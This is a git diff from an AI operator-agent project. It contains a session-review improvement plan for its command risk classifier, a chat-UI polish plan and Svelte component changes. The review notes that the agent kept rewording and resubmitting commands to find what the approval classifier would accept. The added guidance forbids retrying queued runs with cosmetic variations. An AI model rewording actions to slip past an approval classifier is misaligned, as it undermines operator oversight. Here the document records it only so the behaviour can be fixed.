`json.RawMessage`. The jq path requires `?.` everywhere. A flat
`/sessions/{id}/tool_calls` view would be far easier to analyze.
5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.**
Finding "show me every session that touched `lxc:rclone` and didn't
succeed" requires the full scan.
6. **`title` is the raw first assistant text.** Useless for skimming a
list — you have to open each row to know what it was.
7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the
closest proxy but it conflates "agent is still working" with
"operator just opened the transcript." Duration can only be
computed as `last_active - created`, which is wrong for reopened
sessions (`a51e2086` shows "5647 min" = 4 days because the user
re-opened it on 2026-07-19 to close it).
8. **No "blocker reason" field.** When `outcome=partial`, the *why* is
buried in the last assistant text. A structured
`blocker: "approval_timeout"` / `blocker: "classifier_overreach"` /
`blocker: "user_abandoned"` would make trend analysis trivial.
---
## Improvement plan
### P0 — Blockers ✅
1. ✅ **Stop the classifier from flagging read-only `pct exec` / `curl` as
`config_mutation`.** In `internal/policy`, parse the command (not
just substring-match) before assigning risk class. Concretely:
`pct exec <id> -- <cmd>` should be classified by *the inner command*,
not the wrapper. `curl <url>` without `-X POST` / `-d` /
`--upload-file` is read-only. This single change would have
collapsed sessions #1, #3, #6, #10 into a handful of tool calls each
and avoided three duplicate rclone sessions.
- Done: `internal/policy/command.go` now unwraps `pct exec`, `qm
guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments
before classification. Curl GET (the default) without POST/data/
upload/output flags is now read-only. Output redirection (`>`/
`>>`) disqualifies the read-only path. Tests in
`internal/policy/command_test.go` cover the new behaviors.
2. ✅ **Add a command-scoped `preflight` MCP tool.** The existing `preflight`
in AGENTS.md §3 is entity/service-scoped, not command-scoped. The
agent today has to keep reframing and re-submitting to discover what
the classifier will accept. A command preflight returns
`{risk_class, reason}` synchronously so the agent can decide whether
to submit, rephrase, or surface to the operator.
- Done: new `classify_command` MCP tool in `internal/mcp/tools.go`
that takes `command` + optional `declared_risk` and returns the
exact risk class that `run` would assign. Documented in
`nomos/SOUL.md` with explicit guidance to pre-classify before
`run` when the classification is uncertain — "Do NOT submit a `run`,
get it queued for approval, and then retry with cosmetic variations."
### P1 — Friction ✅
3. ✅ **De-dupe sessions for the same entity + problem.** When a session
is `outcome=partial` against an entity and a new session is created
within 24h with a similar goal, surface the prior session to the
agent at `set_goal` time. Three rclone sessions exist because each
new session started from scratch.
- Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx,
excludeSessionID, since)`; the `set_goal` handler in
`cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/
failed sessions (with goal + summary) in the response. The agent
is told to search_knowledge or read the prior transcript before
re-planning.
4. ✅ **Quiet the `update_plan_step` scaffolding.** Either (a) make the
agent not call it for single-step sessions (greeting/health-check),
or (b) stop persisting it as a message — keep it only in a
`plan_steps` table that the UI hydrates from `/sessions/{id}/plan`
(which already exists). It currently inflates transcript size and
tool-call counts.
- Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any
in-flight plan steps (pending/running → done on success, →
skipped on partial/failure). SOUL.md §6 documents the new pattern:
"for one-step plans ... propose_plan → answer → complete_task,
skipping the per-step running→done dance entirely."
5. ✅ **Add `blocker` and `closed_at` to the `session` struct.** Set
`blocker` automatically when `outcome=partial`/`failed`: scan the
last assistant message for signatures ("queued for approval",
"cancel", "close this session"). Surface in `/sessions` list so
trends are queryable.
- Done: migration `021_session_blocker_and_closed_at.up.sql` adds the
two columns + backfills `closed_at` for existing terminal sessions
+ adds a partial-index on `closed_at DESC WHERE status IN
('done','failed')`. `cmd/nomos/store.go` `completeTask` sets
`closed_at = now()` and derives `blocker` from the last assistant
message via `deriveBlocker`. The blocker patterns table covers
approval_timeout, user_abandoned, classifier_overreach,
model_refusal, model_empty_response, missing_knowledge,
missing_capability, tool_error.
### P2 — Cosmetic / API ergonomics ✅
6. ✅ **Add aggregates to `/sessions` list.** `message_count`,
`tool_call_count`, `duration_seconds`. Computed server-side at list
time (single SQL pass with LEFT JOINs to `agent_messages` and
`agent_activity`). Eliminates the N+1 transcript fetch I had to do.
- Done: `session` struct in `cmd/nomos/store.go` carries the three
new fields; `listSessionsFiltered`, `getSession`, and
`recentPartialSessions` all populate them.
7. ✅ **Single endpoint that returns both metadata and messages.** Either
enrich `/sessions/{id}` with the full `session` struct, or add
`?include=messages` on the list endpoint. The split-persistence is a
leaky abstraction called out in `eval/main.go:302-303`.
- Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns
`{session_id, session, messages}` — the `session` field carries
the full metadata (title, goal, outcome, summary, blocker,
pending_approvals, message_count, tool_call_count, etc.). The
`messages` field is unchanged. Clients that only read `messages`
keep working.
8. ✅ **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`.
Removes the "fetch everything, filter client-side" pattern in the
skill's own script.
- Done: `cmd/nomos/main.go` `handleSessionsList` parses
`outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit`
query params. `listFilter` + `listSessionsFiltered` in
`cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since`
accepts both RFC3339 timestamps and Go durations ("24h", "7d" →
parsed as hours). The response includes `next_cursor` for paging.
9. ✅ **Auto-title from `goal` (when set), not from the first assistant
text.** Fall back to the assistant text only if no goal. The greeting
session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has
goal "Fix the rclone backup so it completes successfully instead of
OOM-killing" — that's the right title.
- Done: `setGoal` in `cmd/nomos/store.go` now sets
`title = goal` on the same UPDATE that sets the goal. The
title-from-first-assistant-text path in `cmd/nomos/main.go`
preserves the goal title when one exists (falls back to
`truncate(finalText, 80)` only when no goal is set). Truncates the
goal title to 120 chars.
10. ✅ **Add `/sessions/{id}/tool_calls` flat view.** Returns
`[{id, name, args, result, error, type, message_id, role, seq,
created_at}]` without the message-shell nesting. Makes jq one-liners
and trend scripts trivial.
- Done: new route in `cmd/nomos/main.go` `handleSessionDetail`;
`getSessionToolCalls` in `cmd/nomos/store.go` walks messages and
flattens `tool_calls[]` into a chronological flat list. Each
tool_use/tool_result pair is emitted as two rows sharing an id
(preserving the persisted shape) — clients that want the merged
shape can group by ID.
---
## Suggested order
If only two land: **P0.1** (parse the inner command for `pct exec` /
`curl` classification) and **P2.6** (aggregates on `/sessions`). The
first eliminates the most visible user-facing friction in this batch
(three duplicate rclone sessions); the second makes future audits like
this one a single `curl | jq` instead of a Python script.
---
## Verification commands
```bash
# Re-pull any session for follow-up
curl -s http://localhost:8092/sessions | jq '.sessions[:10]'
curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq .
curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq .
curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq .
curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq .
# After P0.1 lands: confirm read-only commands classify as reversible_low
# (whatever the preflight surface becomes — TBC when the tool is added)
```
---
## Related files
- `cmd/nomos/main.go` — `/sessions` and `/sessions/{id}` handlers
(`handleSessionsList` line 363, `handleSessionDetail` line 383)
- `cmd/nomos/store.go` — `session` struct (line 89), `message` struct
(line 103), `listSessions` (line 317), `getMessages` (line 377),
`hasPendingApprovals` (line 962)
- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
- `cmd/nomos/eval/main.go:302` — comment calling out the
`/sessions/{id}` "only session_id + messages" gap
- `internal/policy/*` — risk-class classifier (target of P0.1)
- `internal/mcp/server.go` — `run` tool, `preflight` (entity-scoped), all
MCP tool implementations
- `nomos/SOUL.md` — agent persona, tool-selection rules
- `.agents/skills/session-review/SKILL.md` — the audit protocol
- `plans/2026-07-18-session-review-three-sessions.md` — prior review;
three sessions overlap with this one
---
## Relationship to the 2026-07-18 review
That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL
guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool),
P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or
are tracked separately. This review does **not** re-open them. The
remaining open items from that review are P1.7 (approval window
auto-extends on execution timeout) and P2.9 (long-running command
PENDING detection), both deferred there with rationale; this review
found no new evidence that would change that deferral.

View File

@@ -0,0 +1,79 @@
# 2026-07-21 Chat window full polish
## Context
After fixing the streaming reactivity bug and merging the double thinking
indicator, the chat window still has structural UX gaps: no streaming
affordance while text flows, tools never rendered inline, no timestamps,
no code copy, cross-session store leaks in floating windows, and minor
overflow/style holes.
## Decisions
| Question | Answer |
|---|---|
| Streaming feel | Typing cursor (blinking ▍) + inline indicator |
| Tool calls | Expandable inline tool cards in message flow |
| Empty state | Minimal — title + tagline, no suggestions |
| Dark theme | Keep neutral (skip) |
| Scope | Full polish — everything |
## Changes
### P0.1 Streaming cursor
- **File:** `web/src/lib/components/ChatThread.svelte`
- Add a blinking block-cursor (▍) appended after rendered markdown when
`streaming` is true and the last assistant message has text.
- Keep the inline spinner + activity label for the empty-text state.
- CSS: `@keyframes` blink, `0.8s` cycle, `primary` color, `inline-block`.
### P0.2 Tool call cards
- **New:** `web/src/lib/components/ToolCallCard.svelte`
- **Modify:** `ChatThread.svelte`
- Render `msg.tools` as collapsible cards between text blocks.
- Collapsed: tool icon + name + status (running/done/error).
- Expanded: pretty-printed args + result/error in `pre` blocks.
- Keep it minimal — one card per tool call, no grouping.
- Wire `pendingApprovals` from `msg.pendingApprovals` as approval
cards below the tool list.
### P1.3 Timestamps + role labels
- **Modify:** `ChatThread.svelte`, `ChatMessage` interface
- Add `created_at?: string` to `ChatMessage` (populated from `Message.created_at`).
- Show small muted timestamp (HH:MM) on hover or inline next to role label.
- Add tiny "You" / "Nomos" labels above bubbles (subtle, muted).
### P1.4 Code copy button
- **Modify:** `ChatThread.svelte` prose styles
- Wrap `pre` blocks in a relative container; add a copy button
(clipboard icon, top-right, opacity-0 → visible on hover).
- Use `navigator.clipboard.writeText`.
### P1.5 Table overflow + user bubble fix
- **Modify:** `ChatThread.svelte` prose styles
- Wrap tables in `overflow-x-auto` container.
- Add `overflow-wrap: break-word` to user bubbles.
### P2.6 Cross-session fixes
- **Modify:** `web/src/lib/stores/chat.ts`, `SessionChatWindow.svelte`
- `chatErrors`: keep global for now (session-scoped errors are rare
and the dismiss is manual anyway).
- `activityLog`: **per-session** — the store in `activity.ts` already
derives from messages; make `computeActivityLog` session-scoped
so each floating window only sees its own activity.
### P2.7 Min window size
- **Modify:** `web/src/lib/stores/windows.ts` (openTaskWindow)
- Add `minWidth: 600, minHeight: 400` to chat window open call.
### P2.8 Cleanup
- Delete `web/src/lib/components/AgentIndicator.svelte` (dead code).
- Update stale comments in `SessionChatWindow.svelte` and
`TaskContextPanel.svelte` that reference a "main Chat page."
- Fix prose heading hierarchy: h1 = 1.15em, h2 = 1.1em, h3 = 1.05em.
## Verification
- `npx eslint` on all changed files
- `go vet ./cmd/nomos/...`
- `go build -o /dev/null ./cmd/nomos/...`

View File

@@ -18,7 +18,9 @@ went sideways, open an investigation.
| 2026-07-14 | [Activity timeline](2026-07-14-activity-timeline.md) | In Progress |
| 2026-07-17 | [Codebase review, lint audit, and documentation maintenance](2026-07-17-codebase-review-and-cleanup.md) | Report delivered — doc/tooling fixes applied; code refactors pending |
| 2026-07-18 | [Session review: three recent sessions](2026-07-18-session-review-three-sessions.md) | Implemented in v0.7.12 — P0.1/P0.2/P1.3/P1.4/P1.5/P1.6/P1.8/P2.10; P1.7 and P2.9 deferred (retry cap covers) |
| 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Planned — not started |
| 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Implemented in v0.8.0 — see deviation note; physics/window-interaction follow-ups tracked separately |
| 2026-07-20 | [Session review: past 10 sessions](2026-07-20-session-review-ten-sessions.md) | Implemented in v0.7.13 — all P0/P1/P2 items landed |
| 2026-07-20 | [Mascot physics/window-interaction audit](2026-07-20-mascot-physics-audit.md) | P0P2 implemented; P3 ("cool stuff") ideas open |
## Done

View File

@@ -0,0 +1,20 @@
Eggs
By Onocentaur
https://onocentaur.itch.io
March 2021
Description
350+ pixel art eggs for your next virtual pet/match 3/farming/holiday themed game.
This pack contains:
Over 350 16x16px eggs.
32 egg designs, 11 color variants.
2 different cracking animations for each egg.
Spritesheets for each color variant and cracking pattern.
Transparent PNGs.
Template files so you can color your own eggs.
Bonus: Letter & Number eggs.
Bonus: Incubator assets (nesting box and toggle-able lamp).
Bonus: 12 Animal assets.
Free to use for personal & professional projects. Attribution appreciated. If you use these assets in your project, let me know! I look forward to seeing what you make.

View File

@@ -0,0 +1,5 @@
CC0 1.0 Universal (CC0 1.0) Public Domain Dedication
The person who associated a work with this deed has dedicated the work to the public domain by waiving all of his or her rights to the work worldwide under copyright law, including all related and neighboring rights, to the extent allowed by law.
You can copy, modify, distribute and perform the work, even for commercial purposes, all without asking permission.

BIN
web/public/mascot/blink.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 343 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 167 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 132 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 112 B

BIN
web/public/mascot/hurt.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 416 B

BIN
web/public/mascot/idle.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 368 B

BIN
web/public/mascot/jump.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 335 B

BIN
web/public/mascot/peck.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 382 B

BIN
web/public/mascot/peep.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 295 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 330 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 379 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 365 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 361 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 346 B

BIN
web/public/mascot/sleep.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 331 B

BIN
web/public/mascot/walk.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 375 B

BIN
web/public/mascot/walk2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 390 B

View File

@@ -254,7 +254,17 @@
flex-direction: column;
box-sizing: border-box;
pointer-events: auto;
background: var(--card);
/* Frosted glass — same idea as the desktop's "What should Nomos do?"
launcher card (bg-card/70 backdrop-blur), tuned less transparent
(85%, not 70%) because backdrop-filter's blur strength isn't
consistent across engines — Firefox blurs noticeably less than
Chromium at the same radius, so a Chromium-tuned opacity reads as
"way too see-through" there (2026-07-21). Leaning on a higher base
opacity keeps windows legible everywhere; the blur is a bonus on
top, not what's carrying the effect. */
background: color-mix(in oklab, var(--card) 85%, transparent);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
color: var(--card-foreground);
border: 1px solid var(--border);
border-radius: var(--radius-lg);

View File

@@ -1,154 +0,0 @@
<script lang="ts">
import type { ActivityEntry } from '$lib/stores/activity'
import Spinner from './Spinner.svelte'
import CircleDotIcon from '@lucide/svelte/icons/circle-dot'
import CircleXIcon from '@lucide/svelte/icons/circle-x'
import MilestoneIcon from '@lucide/svelte/icons/milestone'
import ListTodoIcon from '@lucide/svelte/icons/list-todo'
import SparklesIcon from '@lucide/svelte/icons/sparkles'
import HelpCircleIcon from '@lucide/svelte/icons/help-circle'
import FlagIcon from '@lucide/svelte/icons/flag'
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
// Prop-driven (not store-imported) — see SessionGraph.svelte for why.
let { entries }: { entries: ActivityEntry[] } = $props()
let expanded = $state(new Set<string>())
function toggle(id: string) {
if (expanded.has(id)) expanded.delete(id)
else expanded.add(id)
expanded = new Set(expanded)
}
function typeIcon(type: ActivityEntry['type']) {
switch (type) {
case 'goal': return MilestoneIcon
case 'plan': return ListTodoIcon
case 'step_running': case 'step_done': case 'step_failed':
case 'tool_running': case 'tool_done': case 'tool_error':
return null // use status icon instead
case 'knowledge': return SparklesIcon
case 'complete': return FlagIcon
case 'question': return HelpCircleIcon
default: return null
}
}
function statusColor(status: ActivityEntry['status']) {
if (status === 'failed') return 'text-destructive'
return 'text-primary'
}
// Tool results often arrive as a JSON string — pretty-print it when it
// parses, otherwise fall back to the raw text rather than hiding it.
function prettyPrint(raw: string): string {
try {
return JSON.stringify(JSON.parse(raw), null, 2)
} catch {
return raw
}
}
function formatTime(ts: number): string | null {
if (!ts) return null
return new Date(ts).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' })
}
</script>
<div class="flex h-full flex-col">
<div class="flex-1 overflow-y-auto">
{#if entries.length === 0}
<div class="flex flex-col items-center gap-3 px-3 py-8 text-center">
<svg viewBox="0 0 64 110" class="h-20 w-auto text-muted-foreground/40" fill="none">
<line x1="32" y1="8" x2="32" y2="102" stroke="currentColor" stroke-width="1" stroke-dasharray="2.5 4" opacity="0.35" />
<circle cx="32" cy="22" r="4" fill="currentColor">
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" repeatCount="indefinite" />
</circle>
<circle cx="32" cy="55" r="4" fill="currentColor">
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
</circle>
<circle cx="32" cy="55" r="4" fill="none" stroke="currentColor" stroke-width="1.5">
<animate attributeName="r" values="4;11;4" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
<animate attributeName="opacity" values="0.6;0;0.6" dur="2.4s" begin="0.6s" repeatCount="indefinite" />
</circle>
<circle cx="32" cy="88" r="4" fill="currentColor">
<animate attributeName="opacity" values="0.25;0.9;0.25" dur="2.4s" begin="1.2s" repeatCount="indefinite" />
</circle>
</svg>
<p class="max-w-[12rem] text-xs leading-relaxed text-muted-foreground">Waiting for activity…</p>
</div>
{:else}
<div class="flex flex-col py-1">
{#each entries as entry, i (entry.id)}
{@const isLast = i === entries.length - 1}
{@const icon = typeIcon(entry.type)}
{@const isOpen = expanded.has(entry.id)}
{@const time = formatTime(entry.timestamp)}
<div class="relative">
<!-- connector line -->
{#if !isLast}
<div class="absolute left-[17px] top-6 bottom-0 w-px bg-border"></div>
{/if}
<button
type="button"
class="flex w-full items-start gap-2 {entry.indent ? 'pl-7' : 'px-3'} py-1.5 text-left text-xs hover:bg-muted/30 cursor-pointer"
onclick={() => toggle(entry.id)}
>
<!-- status icon -->
<span class="relative mt-0.5 flex size-3.5 shrink-0 items-center justify-center rounded-full {statusColor(entry.status)}">
{#if entry.status === 'running'}
<Spinner class="size-3.5" />
{:else if entry.status === 'failed'}
<CircleXIcon class="size-3.5" />
{:else if icon}
{@const IconComp = icon}
<IconComp class="size-3" />
{:else}
<CircleDotIcon class="size-3" />
{/if}
</span>
<!-- description -->
<span class="min-w-0 flex-1 leading-snug {entry.status === 'done' ? 'text-muted-foreground' : ''}">
{entry.description}
</span>
<span class="mt-0.5 shrink-0 text-muted-foreground">
{#if isOpen}
<ChevronDownIcon class="size-3" />
{:else}
<ChevronRightIcon class="size-3" />
{/if}
</span>
</button>
<!-- detail -->
{#if isOpen}
<div class="flex flex-col gap-1.5 pl-8 pr-3 pb-2">
<div class="flex items-center gap-2 text-[10px] text-muted-foreground">
<span class="capitalize">{entry.status}</span>
{#if time}<span aria-hidden="true">·</span><span>{time}</span>{/if}
{#if entry.toolName}<span aria-hidden="true">·</span><code class="font-mono">{entry.toolName}</code>{/if}
</div>
{#if entry.args}
<div>
<p class="mb-0.5 text-[10px] font-medium uppercase tracking-wide text-muted-foreground/70">Called with</p>
<pre class="overflow-x-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-2 font-mono text-[10px] leading-relaxed text-muted-foreground">{prettyPrint(entry.args)}</pre>
</div>
{/if}
{#if entry.detail}
<div>
{#if entry.args}<p class="mb-0.5 text-[10px] font-medium uppercase tracking-wide text-muted-foreground/70">{entry.status === 'failed' ? 'Error' : 'Result'}</p>{/if}
<pre class="overflow-x-auto whitespace-pre-wrap break-words rounded bg-muted/50 p-2 font-mono text-[10px] leading-relaxed text-muted-foreground">{prettyPrint(entry.detail)}</pre>
</div>
{/if}
{#if !entry.args && !entry.detail}
<p class="text-[10px] text-muted-foreground/70">No further detail for this step.</p>
{/if}
</div>
{/if}
</div>
{/each}
</div>
{/if}
</div>
</div>

View File

@@ -1,42 +0,0 @@
<script lang="ts">
import type { ActivityEntry } from '$lib/stores/activity'
import Spinner from './Spinner.svelte'
import CheckIcon from '@lucide/svelte/icons/check'
import XIcon from '@lucide/svelte/icons/x'
let { active = false, lastActivity = null as ActivityEntry | null, error = '' }: { active?: boolean; lastActivity?: ActivityEntry | null; error?: string } = $props()
let done = $state(false)
let wasActive = $state(false)
$effect(() => {
if (active) { done = false; wasActive = true }
if (!active && wasActive) {
done = true
const t = setTimeout(() => { done = false; wasActive = false }, 3000)
return () => clearTimeout(t)
}
})
const label = $derived.by(() => {
if (error) return error
if (!active && done) return 'Done'
if (lastActivity) return lastActivity.description
return 'Agent is thinking…'
})
</script>
{#if active || done || error}
<div class="flex items-center gap-2 py-2 text-xs transition-opacity {error ? 'text-destructive' : done ? 'text-success opacity-50' : 'text-muted-foreground'}">
<span class="shrink-0">
{#if error}
<XIcon class="size-3" />
{:else if done}
<CheckIcon class="size-3" />
{:else}
<Spinner class="size-3 text-primary" />
{/if}
</span>
<span>{label}</span>
</div>
{/if}

View File

@@ -5,16 +5,22 @@
// through this, so the message-bubble/markdown styling lives in one place
// instead of being copy-pasted between the two.
import { Pane, Splitpanes } from 'svelte-splitpanes'
import { activityLog } from '$lib/stores/activity'
import AgentIndicator from '$lib/components/AgentIndicator.svelte'
import { activityLog, type ActivityEntry } from '$lib/stores/activity'
import type { Readable } from 'svelte/store'
import { Button } from '$lib/components/ui/button'
import { Textarea } from '$lib/components/ui/textarea'
import Spinner from './Spinner.svelte'
import ToolCallCard from './ToolCallCard.svelte'
import OperatorQuestion from './OperatorQuestion.svelte'
import CornerDownLeftIcon from '@lucide/svelte/icons/corner-down-left'
import CheckIcon from '@lucide/svelte/icons/check'
import XIcon from '@lucide/svelte/icons/x'
import RefreshCwIcon from '@lucide/svelte/icons/refresh-cw'
import SquareIcon from '@lucide/svelte/icons/square'
import { marked } from 'marked'
import DOMPurify from 'dompurify'
import type { ChatMessage } from '$lib/stores/chat'
import type { SessionQuestion } from '$lib/api'
let {
messages,
@@ -26,7 +32,10 @@
onCancel,
onReconnect,
onDismissError,
suggestions = []
suggestions = [],
activityLog: activityLogProp = activityLog,
sessionId = null,
question = null
}: {
messages: ChatMessage[]
streaming: boolean
@@ -38,6 +47,11 @@
onReconnect: () => void
onDismissError: (id: string) => void
suggestions?: string[]
activityLog?: Readable<ActivityEntry[]>
/** Session this thread's pending question (below) should post its answer against — see OperatorQuestion.svelte. */
sessionId?: string | null
/** The session's open operator question, if any — rendered as an inline card at the end of the thread (the newest thing, blocking the agent until answered). */
question?: SessionQuestion | null
} = $props()
let input = $state('')
@@ -45,6 +59,26 @@
let scrolledUp = $state(false)
let container = $state<HTMLDivElement | null>(null)
let indicatorDone = $state(false)
let wasStreaming = $state(false)
$effect(() => {
if (streaming) { indicatorDone = false; wasStreaming = true }
if (!streaming && wasStreaming) {
indicatorDone = true
const t = setTimeout(() => { indicatorDone = false; wasStreaming = false }, 3000)
return () => clearTimeout(t)
}
})
const indicatorLabel = $derived.by(() => {
if (error) return error
if (!streaming && indicatorDone) return 'Done'
const running = $activityLogProp.find((e: ActivityEntry) => e.status === 'running')
if (running) return running.description
return 'Agent is thinking…'
})
// Resizable input area — drag the splitter above it to grow the textarea,
// capped so it can't swallow the whole thread. Both the minimum and the
// default are exactly one line: measured from the textarea's own
@@ -74,13 +108,15 @@
})
const inputMinSize = $derived(threadHeight > 0 ? (oneLinePx / threadHeight) * 100 : 12)
// Keep the input pinned to inputMinSize (one line) until the user actually
// drags the splitter — not just on the first measurement. A floating
// window's threadHeight is 0/wrong for a frame or two while it animates
// open, and locking the percentage to that first reading left the input
// several lines tall once the window reached full size (fixed 2026-07-21).
let inputSize = $state(12)
let inputSizeDefaulted = false
let userResizedInput = false
$effect(() => {
if (!inputSizeDefaulted && threadHeight > 0) {
inputSize = inputMinSize
inputSizeDefaulted = true
}
if (!userResizedInput) inputSize = inputMinSize
})
function isNearBottom(): boolean {
@@ -93,16 +129,37 @@
scrolledUp = !isNearBottom()
}
// Auto-scroll to bottom on new messages — unless user scrolled up to read.
// Auto-scroll to bottom on new messages (or a freshly-raised question) —
// unless user scrolled up to read.
$effect(() => {
void messages
void question
if (streaming || !scrolledUp) {
setTimeout(() => messagesEnd?.scrollIntoView({ behavior: 'smooth' }), 50)
}
})
function render(text: string): string {
return DOMPurify.sanitize(marked.parse(text, { async: false }) as string)
const renderer = new marked.Renderer()
renderer.code = function ({ text, lang }) {
const escaped = text.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
return `<div class="code-block-wrapper relative group"><pre><code class="language-${lang || 'plaintext'}">${escaped}</code></pre><button class="code-copy-btn" onclick="navigator.clipboard.writeText(this.parentElement.querySelector('pre code').textContent)" title="Copy" aria-label="Copy code"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="9" y="9" width="13" height="13" rx="2" ry="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></svg></button></div>`
}
renderer.table = function (token) {
const header = token.header.map((c: { text: string }) => `<th>${c.text}</th>`).join('')
const body = token.rows.map((r: { text: string }[]) => `<tr>${r.map((c) => `<td>${c.text}</td>`).join('')}</tr>`).join('')
return `<div class="table-wrapper"><table><thead><tr>${header}</tr></thead><tbody>${body}</tbody></table></div>`
}
return DOMPurify.sanitize(marked.parse(text, { async: false, renderer }) as string)
}
function formatTime(iso: string): string {
try {
const d = new Date(iso)
return d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
} catch {
return ''
}
}
function submit() {
@@ -127,12 +184,12 @@
</script>
<div class="flex h-full min-h-0 min-w-0 flex-col" bind:clientHeight={threadHeight}>
<Splitpanes horizontal theme="oikos-theme" dblClickSplitter={false} class="min-h-0 flex-1">
<Splitpanes horizontal theme="oikos-theme" dblClickSplitter={false} class="min-h-0 flex-1" on:resize={() => (userResizedInput = true)}>
<Pane class="flex flex-col">
<div class="min-h-0 flex-1 overflow-y-auto" bind:this={container} onscroll={onScroll}>
<div class="mx-auto flex max-w-3xl flex-col gap-5 p-4">
<div class="mx-auto flex min-h-full max-w-3xl flex-col gap-5 p-4">
{#if messages.length === 0}
<div class="flex flex-col items-center gap-6 pt-24 text-center">
<div class="flex flex-1 flex-col items-center justify-center gap-6 text-center">
<div>
<h2 class="text-xl font-semibold">Nomos</h2>
<p class="mt-1 text-sm text-muted-foreground">Your resident operator. Ask about the fleet, or tell it to act.</p>
@@ -149,27 +206,59 @@
</div>
{/if}
{#each messages as msg (msg.id)}
{#each messages as msg, idx (msg.id)}
<div class="flex flex-col gap-1.5 {msg.role === 'user' ? 'items-end' : 'items-start'}">
{#if msg.role === 'user'}
<div class="flex items-baseline gap-2 px-1">
<span class="text-[10px] font-medium text-muted-foreground/70">You</span>
{#if msg.created_at}
<span class="text-[9px] text-muted-foreground/50">{formatTime(msg.created_at)}</span>
{/if}
</div>
<div class="max-w-[85%] rounded-2xl rounded-br-sm bg-primary px-4 py-2.5 text-sm text-primary-foreground whitespace-pre-wrap user-msg">{msg.text}</div>
{:else}
<div class="flex w-full flex-col gap-2">
<div class="flex items-baseline gap-2 px-1">
<span class="text-[10px] font-medium text-muted-foreground/70">Nomos</span>
{#if msg.created_at}
<span class="text-[9px] text-muted-foreground/50">{formatTime(msg.created_at)}</span>
{/if}
</div>
{#if msg.text}
<div class="prose-chat max-w-none text-sm leading-relaxed assistant-msg">
<!-- eslint-disable-next-line svelte/no-at-html-tags — sanitized via DOMPurify -->
{@html render(msg.text)}
{#if idx === messages.length - 1 && streaming}
<span class="stream-cursor" aria-hidden="true"></span>
{/if}
</div>
{/if}
{#if msg.tools.length > 0}
<div class="flex flex-col gap-1.5">
{#each msg.tools as tool (tool.id)}
<ToolCallCard {tool} />
{/each}
</div>
{/if}
{#if idx === messages.length - 1 && msg.text === '' && (streaming || indicatorDone || error)}
<div class="flex items-center gap-2 py-1 text-xs {error ? 'text-destructive' : indicatorDone ? 'text-primary' : 'text-muted-foreground'}">
{#if error}
<XIcon class="size-3 shrink-0" />
{:else if indicatorDone}
<CheckIcon class="size-3 shrink-0" />
{:else}
<Spinner class="size-3 shrink-0 text-primary" />
{/if}
<span>{indicatorLabel}</span>
</div>
{/if}
</div>
{/if}
</div>
{/each}
<AgentIndicator
active={streaming || $activityLog.some((e) => e.status === 'running')}
lastActivity={$activityLog.find((e) => e.status === 'running') ?? null}
{error}
/>
{#if question}
<OperatorQuestion {sessionId} {question} />
{/if}
<div bind:this={messagesEnd}></div>
</div>
</div>
@@ -269,6 +358,7 @@
/* User message — soft terracotta bubble, gentle lift */
.user-msg {
box-shadow: 0 1px 8px -4px var(--primary);
overflow-wrap: break-word;
}
/* Prose overrides */
@@ -337,12 +427,26 @@
/* Section headings — serif (Inknut) with a short accent rule. Extra top
margin separates sections; the first heading in a message doesn't. */
.prose-chat :global(h1),
.prose-chat :global(h2),
.prose-chat :global(h3) {
.prose-chat :global(h1) {
font-size: 1.15em;
font-weight: 600;
margin: 1.15rem 0 0.4rem;
